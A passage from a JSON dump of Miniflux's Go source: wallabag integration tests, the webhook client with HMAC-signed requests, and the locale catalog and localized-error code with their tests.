false,\n\t\t\tonlyURL:      false,\n\t\t\tusername:     \"username\",\n\t\t\tpassword:     \"password\",\n\t\t\tclientID:     \"clientId\",\n\t\t\tclientSecret: \"clientSecret\",\n\t\t\ttags:         tags,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif strings.Contains(r.URL.Path, \"/oauth/v2/token\") {\n\t\t\t\t\t// Return success response\n\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\t\"access_token\":  \"test-token\",\n\t\t\t\t\t\t\"expires_in\":    3600,\n\t\t\t\t\t\t\"refresh_token\": \"token\",\n\t\t\t\t\t\t\"scope\":         \"scope\",\n\t\t\t\t\t\t\"token_type\":    \"token_type\",\n\t\t\t\t\t})\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\t// Verify authorization header\n\t\t\t\tauth := r.Header.Get(\"Authorization\")\n\t\t\t\tif auth != \"Bearer test-token\" {\n\t\t\t\t\tt.Errorf(\"Expected Authorization header 'Bearer test-token', got %s\", auth)\n\t\t\t\t}\n\t\t\t\t// Verify content type\n\t\t\t\tcontentType := r.Header.Get(\"Content-Type\")\n\t\t\t\tif contentType != \"application/json\" {\n\t\t\t\t\tt.Errorf(\"Expected Content-Type 'application/json', got %s\", contentType)\n\t\t\t\t}\n\t\t\t\t// Parse and verify request\n\t\t\t\tbody, _ := io.ReadAll(r.Body)\n\t\t\t\tvar req map[string]any\n\t\t\t\tif err := json.Unmarshal(body, &req); err != nil {\n\t\t\t\t\tt.Errorf(\"Failed to parse request body: %v\", err)\n\t\t\t\t}\n\t\t\t\tif requstEntryURL := req[\"url\"]; requstEntryURL != entryURL {\n\t\t\t\t\tt.Errorf(\"Expected entryURL %s, got %s\", entryURL, requstEntryURL)\n\t\t\t\t}\n\t\t\t\tif requestEntryTitle := req[\"title\"]; requestEntryTitle != entryTitle {\n\t\t\t\t\tt.Errorf(\"Expected entryTitle %s, got %s\", entryTitle, requestEntryTitle)\n\t\t\t\t}\n\t\t\t\tif requestEntryContent := req[\"content\"]; requestEntryContent != entryContent {\n\t\t\t\t\tt.Errorf(\"Expected entryContent %s, got %s\", entryContent, requestEntryContent)\n\t\t\t\t}\n\t\t\t\tif requestTags := req[\"tags\"]; requestTags != tags {\n\t\t\t\t\tt.Errorf(\"Expected tags %s, got %s\", tags, requestTags)\n\t\t\t\t} // Return success response\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t},\n\t\t\terrContains: \"\",\n\t\t},\n\t\t{\n\t\t\tname:         \"failed when unable to decode accessToken response\",\n\t\t\twantErr:      true,\n\t\t\tonlyURL:      true,\n\t\t\tusername:     \"username\",\n\t\t\tpassword:     \"password\",\n\t\t\tclientID:     \"clientId\",\n\t\t\tclientSecret: \"clientSecret\",\n\t\t\ttags:         tags,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif strings.Contains(r.URL.Path, \"/oauth/v2/token\") {\n\t\t\t\t\t// Return success response\n\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tw.Write([]byte(\"invalid json\"))\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tt.Error(\"Server should not be called when failed to get accessToken\")\n\t\t\t},\n\t\t\terrContains: \"unable to decode token response\",\n\t\t},\n\t\t{\n\t\t\tname:         \"failed when saving entry\",\n\t\t\twantErr:      true,\n\t\t\tonlyURL:      true,\n\t\t\tusername:     \"username\",\n\t\t\tpassword:     \"password\",\n\t\t\tclientID:     \"clientId\",\n\t\t\tclientSecret: \"clientSecret\",\n\t\t\ttags:         tags,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif strings.Contains(r.URL.Path, \"/oauth/v2/token\") {\n\t\t\t\t\t// Return success response\n\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\t\"access_token\":  \"test-token\",\n\t\t\t\t\t\t\"expires_in\":    3600,\n\t\t\t\t\t\t\"refresh_token\": \"token\",\n\t\t\t\t\t\t\"scope\":         \"scope\",\n\t\t\t\t\t\t\"token_type\":    \"token_type\",\n\t\t\t\t\t})\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\t},\n\t\t\terrContains: \"unable to get save entry\",\n\t\t},\n\t\t{\n\t\t\tname:         \"failure due to no accessToken\",\n\t\t\twantErr:      true,\n\t\t\tonlyURL:      false,\n\t\t\tusername:     \"username\",\n\t\t\tpassword:     \"password\",\n\t\t\tclientID:     \"clientId\",\n\t\t\tclientSecret: \"clientSecret\",\n\t\t\ttags:         tags,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif strings.Contains(r.URL.Path, \"/oauth/v2/token\") {\n\t\t\t\t\t// Return error response\n\t\t\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tt.Error(\"Server should not be called when failed to get accessToken\")\n\t\t\t},\n\t\t\terrContains: \"unable to get access token\",\n\t\t},\n\t\t{\n\t\t\tname:         \"failure due to missing client parameters\",\n\t\t\twantErr:      true,\n\t\t\tonlyURL:      false,\n\t\t\ttags:         tags,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tt.Error(\"Server should not be called when failed to get accessToken\")\n\t\t\t},\n\t\t\terrContains: \"wallabag: missing base URL, client ID, client secret, username or password\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\t// Create test server if we have a server response function\n\t\t\tvar serverURL string\n\t\t\tif tt.serverResponse != nil {\n\t\t\t\tserver := httptest.NewServer(http.HandlerFunc(tt.serverResponse))\n\t\t\t\tdefer server.Close()\n\t\t\t\tserverURL = server.URL\n\t\t\t}\n\n\t\t\t// Create client with test server URL\n\t\t\tclient := NewClient(serverURL, tt.clientID, tt.clientSecret, tt.username, tt.password, tt.tags, tt.onlyURL)\n\n\t\t\t// Call CreateBookmark\n\t\t\terr := client.CreateEntry(tt.entryURL, tt.entryTitle, tt.entryContent)\n\n\t\t\t// Check error expectations\n\t\t\tif tt.wantErr {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(\"Expected error but got none\")\n\t\t\t\t} else if tt.errContains != \"\" && !strings.Contains(err.Error(), tt.errContains) {\n\t\t\t\t\tt.Errorf(\"Expected error containing '%s', got '%s'\", tt.errContains, err.Error())\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Errorf(\"Unexpected error: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNewClient(t *testing.T) {\n\ttests := []struct {\n\t\tname         string\n\t\tbaseURL      string\n\t\tclientID     string\n\t\tclientSecret string\n\t\tusername     string\n\t\tpassword     string\n\t\ttags         string\n\t\tonlyURL      bool\n\t}{\n\t\t{\n\t\t\tname:         \"with all parameters\",\n\t\t\tbaseURL:      \"https://wallabag.example.com\",\n\t\t\tclientID:     \"clientID\",\n\t\t\tclientSecret: \"clientSecret\",\n\t\t\tusername:     \"wallabag\",\n\t\t\tpassword:     \"wallabag\",\n\t\t\ttags:         \"\",\n\t\t\tonlyURL:      true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tclient := NewClient(tt.baseURL, tt.clientID, tt.clientSecret, tt.username, tt.password, tt.tags, tt.onlyURL)\n\n\t\t\tif client.baseURL != tt.baseURL {\n\t\t\t\tt.Errorf(\"Expected.baseURL %s, got %s\", tt.baseURL, client.baseURL)\n\t\t\t}\n\t\t\tif client.username != tt.username {\n\t\t\t\tt.Errorf(\"Expected username %s, got %s\", tt.username, client.username)\n\t\t\t}\n\t\t\tif client.password != tt.password {\n\t\t\t\tt.Errorf(\"Expected password %s, got %s\", tt.password, client.password)\n\t\t\t}\n\t\t\tif client.clientID != tt.clientID {\n\t\t\t\tt.Errorf(\"Expected clientID %s, got %s\", tt.clientID, client.clientID)\n\t\t\t}\n\t\t\tif client.clientSecret != tt.clientSecret {\n\t\t\t\tt.Errorf(\"Expected clientSecret %s, got %s\", tt.clientSecret, client.clientSecret)\n\t\t\t}\n\t\t\tif client.tags != tt.tags {\n\t\t\t\tt.Errorf(\"Expected tags %s, got %s\", tt.tags, client.tags)\n\t\t\t}\n\t\t\tif client.onlyURL != tt.onlyURL {\n\t\t\t\tt.Errorf(\"Expected onlyURL %v, got %v\", tt.onlyURL, client.onlyURL)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc configureIntegrationAllowPrivateNetworksOption(t *testing.T) {\n\tt.Helper()\n\n\tt.Setenv(\"INTEGRATION_ALLOW_PRIVATE_NETWORKS\", \"1\")\n\n\tconfigParser := config.NewConfigParser()\n\tparsedOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to configure test options: %v\", err)\n\t}\n\n\tpreviousOptions := config.Opts\n\tconfig.Opts = parsedOptions\n\tt.Cleanup(func() {\n\t\tconfig.Opts = previousOptions\n\t})\n}\n"
  },
  {
    "path": "internal/integration/webhook/webhook.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage webhook // import \"miniflux.app/v2/internal/integration/webhook\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst (\n\tdefaultClientTimeout = 10 * time.Second\n\n\tNewEntriesEventType = \"new_entries\"\n\tSaveEntryEventType  = \"save_entry\"\n)\n\ntype Client struct {\n\twebhookURL    string\n\twebhookSecret string\n}\n\nfunc NewClient(webhookURL, webhookSecret string) *Client {\n\treturn &Client{webhookURL, webhookSecret}\n}\n\nfunc (c *Client) SendSaveEntryWebhookEvent(entry *model.Entry) error {\n\treturn c.makeRequest(SaveEntryEventType, &WebhookSaveEntryEvent{\n\t\tEventType: SaveEntryEventType,\n\t\tEntry: &WebhookEntry{\n\t\t\tID:          entry.ID,\n\t\t\tUserID:      entry.UserID,\n\t\t\tFeedID:      entry.FeedID,\n\t\t\tStatus:      entry.Status,\n\t\t\tHash:        entry.Hash,\n\t\t\tTitle:       entry.Title,\n\t\t\tURL:         entry.URL,\n\t\t\tCommentsURL: entry.CommentsURL,\n\t\t\tDate:        entry.Date,\n\t\t\tCreatedAt:   entry.CreatedAt,\n\t\t\tChangedAt:   entry.ChangedAt,\n\t\t\tContent:     entry.Content,\n\t\t\tAuthor:      entry.Author,\n\t\t\tShareCode:   entry.ShareCode,\n\t\t\tStarred:     entry.Starred,\n\t\t\tReadingTime: entry.ReadingTime,\n\t\t\tEnclosures:  entry.Enclosures,\n\t\t\tTags:        entry.Tags,\n\t\t\tFeed: &WebhookFeed{\n\t\t\t\tID:         entry.Feed.ID,\n\t\t\t\tUserID:     entry.Feed.UserID,\n\t\t\t\tCategoryID: entry.Feed.Category.ID,\n\t\t\t\tCategory:   &WebhookCategory{ID: entry.Feed.Category.ID, Title: entry.Feed.Category.Title},\n\t\t\t\tFeedURL:    entry.Feed.FeedURL,\n\t\t\t\tSiteURL:    entry.Feed.SiteURL,\n\t\t\t\tTitle:      entry.Feed.Title,\n\t\t\t\tCheckedAt:  entry.Feed.CheckedAt,\n\t\t\t},\n\t\t},\n\t})\n}\n\nfunc (c *Client) SendNewEntriesWebhookEvent(feed *model.Feed, entries model.Entries) error {\n\tif len(entries) == 0 {\n\t\treturn nil\n\t}\n\n\twebhookEntries := make([]*WebhookEntry, 0, len(entries))\n\tfor _, entry := range entries {\n\t\twebhookEntries = append(webhookEntries, &WebhookEntry{\n\t\t\tID:          entry.ID,\n\t\t\tUserID:      entry.UserID,\n\t\t\tFeedID:      entry.FeedID,\n\t\t\tStatus:      entry.Status,\n\t\t\tHash:        entry.Hash,\n\t\t\tTitle:       entry.Title,\n\t\t\tURL:         entry.URL,\n\t\t\tCommentsURL: entry.CommentsURL,\n\t\t\tDate:        entry.Date,\n\t\t\tCreatedAt:   entry.CreatedAt,\n\t\t\tChangedAt:   entry.ChangedAt,\n\t\t\tContent:     entry.Content,\n\t\t\tAuthor:      entry.Author,\n\t\t\tShareCode:   entry.ShareCode,\n\t\t\tStarred:     entry.Starred,\n\t\t\tReadingTime: entry.ReadingTime,\n\t\t\tEnclosures:  entry.Enclosures,\n\t\t\tTags:        entry.Tags,\n\t\t})\n\t}\n\treturn c.makeRequest(NewEntriesEventType, &WebhookNewEntriesEvent{\n\t\tEventType: NewEntriesEventType,\n\t\tFeed: &WebhookFeed{\n\t\t\tID:         feed.ID,\n\t\t\tUserID:     feed.UserID,\n\t\t\tCategoryID: feed.Category.ID,\n\t\t\tCategory:   &WebhookCategory{ID: feed.Category.ID, Title: feed.Category.Title},\n\t\t\tFeedURL:    feed.FeedURL,\n\t\t\tSiteURL:    feed.SiteURL,\n\t\t\tTitle:      feed.Title,\n\t\t\tCheckedAt:  feed.CheckedAt,\n\t\t},\n\t\tEntries: webhookEntries,\n\t})\n}\n\nfunc (c *Client) makeRequest(eventType string, payload any) error {\n\tif c.webhookURL == \"\" {\n\t\treturn errors.New(`webhook: missing webhook URL`)\n\t}\n\n\trequestBody, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"webhook: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, c.webhookURL, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"webhook: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"X-Miniflux-Signature\", crypto.GenerateSHA256Hmac(c.webhookSecret, requestBody))\n\trequest.Header.Set(\"X-Miniflux-Event-Type\", eventType)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"webhook: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"webhook: incorrect response status code %d for url %s\", response.StatusCode, c.webhookURL)\n\t}\n\n\treturn nil\n}\n\ntype WebhookFeed struct {\n\tID         int64            `json:\"id\"`\n\tUserID     int64            `json:\"user_id\"`\n\tCategoryID int64            `json:\"category_id\"`\n\tCategory   *WebhookCategory `json:\"category,omitempty\"`\n\tFeedURL    string           `json:\"feed_url\"`\n\tSiteURL    string           `json:\"site_url\"`\n\tTitle      string           `json:\"title\"`\n\tCheckedAt  time.Time        `json:\"checked_at\"`\n}\n\ntype WebhookCategory struct {\n\tID    int64  `json:\"id\"`\n\tTitle string `json:\"title\"`\n}\n\ntype WebhookEntry struct {\n\tID          int64               `json:\"id\"`\n\tUserID      int64               `json:\"user_id\"`\n\tFeedID      int64               `json:\"feed_id\"`\n\tStatus      string              `json:\"status\"`\n\tHash        string              `json:\"hash\"`\n\tTitle       string              `json:\"title\"`\n\tURL         string              `json:\"url\"`\n\tCommentsURL string              `json:\"comments_url\"`\n\tDate        time.Time           `json:\"published_at\"`\n\tCreatedAt   time.Time           `json:\"created_at\"`\n\tChangedAt   time.Time           `json:\"changed_at\"`\n\tContent     string              `json:\"content\"`\n\tAuthor      string              `json:\"author\"`\n\tShareCode   string              `json:\"share_code\"`\n\tStarred     bool                `json:\"starred\"`\n\tReadingTime int                 `json:\"reading_time\"`\n\tEnclosures  model.EnclosureList `json:\"enclosures\"`\n\tTags        []string            `json:\"tags\"`\n\tFeed        *WebhookFeed        `json:\"feed,omitempty\"`\n}\n\ntype WebhookNewEntriesEvent struct {\n\tEventType string          `json:\"event_type\"`\n\tFeed      *WebhookFeed    `json:\"feed\"`\n\tEntries   []*WebhookEntry `json:\"entries\"`\n}\n\ntype WebhookSaveEntryEvent struct {\n\tEventType string        `json:\"event_type\"`\n\tEntry     *WebhookEntry `json:\"entry\"`\n}\n"
  },
  {
    "path": "internal/locale/catalog.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\nimport (\n\t\"embed\"\n\t\"encoding/json\"\n\t\"fmt\"\n)\n\ntype translationDict struct {\n\tsingulars map[string]string\n\tplurals   map[string][]string\n}\ntype catalog map[string]translationDict\n\nvar defaultCatalog = make(catalog, len(AvailableLanguages))\n\n//go:embed translations/*.json\nvar translationFiles embed.FS\n\nfunc getTranslationDict(language string) (translationDict, error) {\n\tif _, ok := defaultCatalog[language]; !ok {\n\t\tvar err error\n\t\tif defaultCatalog[language], err = loadTranslationFile(language); err != nil {\n\t\t\treturn translationDict{}, err\n\t\t}\n\t}\n\treturn defaultCatalog[language], nil\n}\n\nfunc loadTranslationFile(language string) (translationDict, error) {\n\ttranslationFileData, err := translationFiles.ReadFile(\"translations/\" + language + \".json\")\n\tif err != nil {\n\t\treturn translationDict{}, err\n\t}\n\n\ttranslationMessages, err := parseTranslationMessages(translationFileData)\n\tif err != nil {\n\t\treturn translationDict{}, err\n\t}\n\n\treturn translationMessages, nil\n}\n\nfunc (t *translationDict) UnmarshalJSON(data []byte) error {\n\tvar tmpMap map[string]any\n\terr := json.Unmarshal(data, &tmpMap)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tm := translationDict{\n\t\tsingulars: make(map[string]string),\n\t\tplurals:   make(map[string][]string),\n\t}\n\n\tfor key, value := range tmpMap {\n\t\tswitch vtype := value.(type) {\n\t\tcase string:\n\t\t\tm.singulars[key] = vtype\n\t\tcase []any:\n\t\t\tfor _, translation := range vtype {\n\t\t\t\tif translationStr, ok := translation.(string); ok {\n\t\t\t\t\tm.plurals[key] = append(m.plurals[key], translationStr)\n\t\t\t\t} else {\n\t\t\t\t\treturn fmt.Errorf(\"invalid type for translation in an array: %v\", translation)\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"invalid type (%T) for translation: %v\", vtype, value)\n\t\t}\n\t}\n\n\t*t = m\n\n\treturn nil\n}\n\nfunc parseTranslationMessages(data []byte) (translationDict, error) {\n\tvar translationMessages translationDict\n\tif err := json.Unmarshal(data, &translationMessages); err != nil {\n\t\treturn translationDict{}, fmt.Errorf(`invalid translation file: %w`, err)\n\t}\n\treturn translationMessages, nil\n}\n"
  },
  {
    "path": "internal/locale/catalog_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\nimport (\n\t\"testing\"\n)\n\nfunc TestParserWithInvalidData(t *testing.T) {\n\t_, err := parseTranslationMessages([]byte(`{`))\n\tif err == nil {\n\t\tt.Fatal(`An error should be returned when parsing invalid data`)\n\t}\n}\n\nfunc TestParser(t *testing.T) {\n\ttranslations, err := parseTranslationMessages([]byte(`{\"k\": \"v\"}`))\n\tif err != nil {\n\t\tt.Fatalf(`Unexpected parsing error: %v`, err)\n\t}\n\n\tvalue, found := translations.singulars[\"k\"]\n\tif !found {\n\t\tt.Fatalf(`The translation %v should contains the defined key`, translations.singulars)\n\t}\n\n\tif value != \"v\" {\n\t\tt.Fatal(`The translation key should contains the defined value`)\n\t}\n}\n\nfunc TestLoadCatalog(t *testing.T) {\n\tfor language := range AvailableLanguages {\n\t\t_, err := loadTranslationFile(language)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n}\n\nfunc TestAllKeysHaveValue(t *testing.T) {\n\tfor language := range AvailableLanguages {\n\t\tmessages, err := loadTranslationFile(language)\n\t\tif err != nil {\n\t\t\tt.Fatalf(`Unable to load translation messages for language %q`, language)\n\t\t}\n\n\t\tif len(messages.singulars) == 0 {\n\t\t\tt.Fatalf(`The language %q doesn't have any messages for singulars`, language)\n\t\t}\n\n\t\tif len(messages.plurals) == 0 {\n\t\t\tt.Fatalf(`The language %q doesn't have any messages for plurals`, language)\n\t\t}\n\n\t\tfor k, v := range messages.singulars {\n\t\t\tif len(v) == 0 {\n\t\t\t\tt.Errorf(`The key %q for singulars for the language %q has an empty list as value`, k, language)\n\t\t\t}\n\t\t}\n\t\tfor k, v := range messages.plurals {\n\t\t\tif len(v) == 0 {\n\t\t\t\tt.Errorf(`The key %q for plurals for the language %q has an empty list as value`, k, language)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestMissingTranslations(t *testing.T) {\n\trefLang := \"en_US\"\n\treferences, err := loadTranslationFile(refLang)\n\tif err != nil {\n\t\tt.Fatal(`Unable to parse reference language`)\n\t}\n\n\tfor language := range AvailableLanguages {\n\t\tif language == refLang {\n\t\t\tcontinue\n\t\t}\n\n\t\tmessages, err := loadTranslationFile(language)\n\t\tif err != nil {\n\t\t\tt.Fatalf(`Parsing error for language %q`, language)\n\t\t}\n\n\t\tfor key := range references.singulars {\n\t\t\tif _, found := messages.singulars[key]; !found {\n\t\t\t\tt.Errorf(`Translation key %q not found in language %q singulars`, key, language)\n\t\t\t}\n\t\t}\n\t\tfor key := range references.plurals {\n\t\t\tif _, found := messages.plurals[key]; !found {\n\t\t\t\tt.Errorf(`Translation key %q not found in language %q plurals`, key, language)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestTranslationFilePluralForms(t *testing.T) {\n\tvar numberOfPluralFormsPerLanguage = map[string]int{\n\t\t\"ar_SA\":            6,\n\t\t\"de_DE\":            2,\n\t\t\"el_EL\":            2,\n\t\t\"en_US\":            2,\n\t\t\"es_ES\":            2,\n\t\t\"fi_FI\":            2,\n\t\t\"fr_FR\":            2,\n\t\t\"gl_ES\":            2,\n\t\t\"hi_IN\":            2,\n\t\t\"id_ID\":            1,\n\t\t\"it_IT\":            2,\n\t\t\"ja_JP\":            1,\n\t\t\"nan_Latn_pehoeji\": 1,\n\t\t\"nl_NL\":            2,\n\t\t\"pl_PL\":            3,\n\t\t\"pt_BR\":            2,\n\t\t\"ro_RO\":            3,\n\t\t\"ru_RU\":            3,\n\t\t\"tr_TR\":            2,\n\t\t\"uk_UA\":            3,\n\t\t\"zh_CN\":            1,\n\t\t\"zh_TW\":            1,\n\t}\n\tfor language := range AvailableLanguages {\n\t\tmessages, err := loadTranslationFile(language)\n\t\tif err != nil {\n\t\t\tt.Fatalf(`Unable to load translation messages for language %q`, language)\n\t\t}\n\n\t\tfor k, v := range messages.plurals {\n\t\t\tif len(v) != numberOfPluralFormsPerLanguage[language] {\n\t\t\t\tt.Errorf(`The key %q for the language %q does not have the expected number of plurals, got %d instead of %d`, k, language, len(v), numberOfPluralFormsPerLanguage[language])\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/locale/error.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\nimport \"errors\"\n\ntype LocalizedErrorWrapper struct {\n\toriginalErr     error\n\ttranslationKey  string\n\ttranslationArgs []any\n}\n\nfunc NewLocalizedErrorWrapper(originalErr error, translationKey string, translationArgs ...any) *LocalizedErrorWrapper {\n\treturn &LocalizedErrorWrapper{\n\t\toriginalErr:     originalErr,\n\t\ttranslationKey:  translationKey,\n\t\ttranslationArgs: translationArgs,\n\t}\n}\n\nfunc (l *LocalizedErrorWrapper) Error() error {\n\treturn l.originalErr\n}\n\nfunc (l *LocalizedErrorWrapper) Translate(language string) string {\n\tif l.translationKey == \"\" {\n\t\tif l.originalErr == nil {\n\t\t\treturn \"\"\n\t\t}\n\t\treturn l.originalErr.Error()\n\t}\n\treturn NewPrinter(language).Printf(l.translationKey, l.translationArgs...)\n}\n\ntype LocalizedError struct {\n\ttranslationKey  string\n\ttranslationArgs []any\n}\n\nfunc NewLocalizedError(translationKey string, translationArgs ...any) *LocalizedError {\n\treturn &LocalizedError{translationKey: translationKey, translationArgs: translationArgs}\n}\n\nfunc (v *LocalizedError) String() string {\n\treturn NewPrinter(\"en_US\").Printf(v.translationKey, v.translationArgs...)\n}\n\nfunc (v *LocalizedError) Error() error {\n\treturn errors.New(v.String())\n}\n\nfunc (v *LocalizedError) Translate(language string) string {\n\treturn NewPrinter(language).Printf(v.translationKey, v.translationArgs...)\n}\n"
  },
  {
    "path": "internal/locale/error_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\nimport (\n\t\"errors\"\n\t\"testing\"\n)\n\nfunc TestNewLocalizedErrorWrapper(t *testing.T) {\n\toriginalErr := errors.New(\"original error message\")\n\ttranslationKey := \"error.test_key\"\n\targs := []any{\"arg1\", 42}\n\n\twrapper := NewLocalizedErrorWrapper(originalErr, translationKey, args...)\n\n\tif wrapper.originalErr != originalErr {\n\t\tt.Errorf(\"Expected original error to be %v, got %v\", originalErr, wrapper.originalErr)\n\t}\n\n\tif wrapper.translationKey != translationKey {\n\t\tt.Errorf(\"Expected translation key to be %q, got %q\", translationKey, wrapper.translationKey)\n\t}\n\n\tif len(wrapper.translationArgs) != 2 {\n\t\tt.Errorf(\"Expected 2 translation args, got %d\", len(wrapper.translationArgs))\n\t}\n\n\tif wrapper.translationArgs[0] != \"arg1\" || wrapper.translationArgs[1] != 42 {\n\t\tt.Errorf(\"Expected translation args [arg1, 42], got %v\", wrapper.translationArgs)\n\t}\n}\n\nfunc TestLocalizedErrorWrapper_Error(t *testing.T) {\n\toriginalErr := errors.New(\"original error message\")\n\twrapper := NewLocalizedErrorWrapper(originalErr, \"error.test_key\")\n\n\tresult := wrapper.Error()\n\tif result != originalErr {\n\t\tt.Errorf(\"Expected Error() to return original error %v, got %v\", originalErr, result)\n\t}\n}\n\nfunc TestLocalizedErrorWrapper_Translate(t *testing.T) {\n\t// Set up test catalog\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.test_key\": \"Error: %s (code: %d)\",\n\t\t\t},\n\t\t},\n\t\t\"fr_FR\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.test_key\": \"Erreur : %s (code : %d)\",\n\t\t\t},\n\t\t},\n\t}\n\n\toriginalErr := errors.New(\"original error\")\n\twrapper := NewLocalizedErrorWrapper(originalErr, \"error.test_key\", \"test message\", 404)\n\n\t// Test English translation\n\tresult := wrapper.Translate(\"en_US\")\n\texpected := \"Error: test message (code: 404)\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected English translation %q, got %q\", expected, result)\n\t}\n\n\t// Test French translation\n\tresult = wrapper.Translate(\"fr_FR\")\n\texpected = \"Erreur : test message (code : 404)\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected French translation %q, got %q\", expected, result)\n\t}\n\n\t// Test with missing language (should use key as fallback with args applied)\n\tresult = wrapper.Translate(\"invalid_lang\")\n\texpected = \"error.test_key%!(EXTRA string=test message, int=404)\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected fallback translation %q, got %q\", expected, result)\n\t}\n}\n\nfunc TestLocalizedErrorWrapper_TranslateWithEmptyKey(t *testing.T) {\n\toriginalErr := errors.New(\"original error message\")\n\twrapper := NewLocalizedErrorWrapper(originalErr, \"\")\n\n\tresult := wrapper.Translate(\"en_US\")\n\texpected := \"original error message\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected original error message %q, got %q\", expected, result)\n\t}\n}\n\nfunc TestLocalizedErrorWrapper_TranslateWithNoArgs(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.simple\": \"Simple error message\",\n\t\t\t},\n\t\t},\n\t}\n\n\toriginalErr := errors.New(\"original error\")\n\twrapper := NewLocalizedErrorWrapper(originalErr, \"error.simple\")\n\n\tresult := wrapper.Translate(\"en_US\")\n\texpected := \"Simple error message\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected translation %q, got %q\", expected, result)\n\t}\n}\n\nfunc TestNewLocalizedError(t *testing.T) {\n\ttranslationKey := \"error.validation\"\n\targs := []any{\"field1\", \"invalid\"}\n\n\tlocalizedErr := NewLocalizedError(translationKey, args...)\n\n\tif localizedErr.translationKey != translationKey {\n\t\tt.Errorf(\"Expected translation key to be %q, got %q\", 